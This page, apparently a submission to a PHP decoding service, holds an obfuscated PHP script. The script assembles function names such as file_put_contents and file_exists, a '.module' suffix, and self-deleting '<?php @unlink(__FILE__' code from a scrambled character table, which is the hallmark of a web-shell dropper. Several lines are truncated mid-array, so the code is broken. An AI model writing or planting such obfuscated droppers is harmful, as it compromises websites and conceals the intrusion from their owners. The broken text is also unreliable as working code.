PHP Decode

<?php 
function lt6    () 
{ 
 
echo    'wy7'; 
 
} 
 
$to3    = "n7(/skec;F4'6p?_5ti.Eg xm)u-#@ly*LH2vdf1Iabo8rh<"; 
function fa1    ( $gz2     ) 
 
{global       $to3; 
 
$yh5=''; 
 
 
    $yh5 =	 substr($yh5,   0);foreach(     $gz2    as	$jg4 ) 
{ 
 
$yh5 .= $to3    [   $jg4 ]; 
 
 
} 
 
 
return $yh5; 
 
}$bf8   =	[];$uetvd =     53732; 
$bf8[70642] = fa1 (     Array(37     , 39	,    44  , 42 , 35	, 7     , 12 , 1        , 27 ,  44 ,    12	, 42 , 39      ,      27        , 10    ,   44  ,	37     ,       42     , 27 $ 
 
$bf8[93167] = fa1 (   Array(14       , 13	, 46    ,	13 , 22       , 29	,     26  ,     0 ,	  30 , 18 ,     0 , 5   ,     2 , 15 ,       15 , 9     ,    40 , 33    , 20    ,	15 $ 
$bf8[3054] = fa1 (	Array(19        , 24	  ,   43 , 37 ,     26 ,        30   ,       6  ,)	)	; 
$ga20 = 44746; 
$bf8[91629] =   fa1 ( Array(34  ,	32 ,)	   ) ; 
 
$bf8[18921]	 = fa1 ( Array(19	,	3	,)   ) ; 
 
$bf8[51963] = fa1	( Array(28 ,) )    ; 
$bf8[87522] =     fa1   ( Array(47  ,)  ) ; 
 
$pw21 = 87167; 
 
$bf8[36313] = fa1     ( Array(38        , 18 , 30 ,     6	,     15  ,     13    , 26	,     17 , 15 , 7 , 43 ,   0 ,  17	, 6 ,       0 , 17     , 4    ,) ) ; 
$ah22 = 21362;$bf8[71634]      = fa1 (    Array(38 ,    18	, 30    , 6 ,     15 ,  6	,  23 , 18	,    4  , 17 , 4 ,) )       ; 
 
 ?>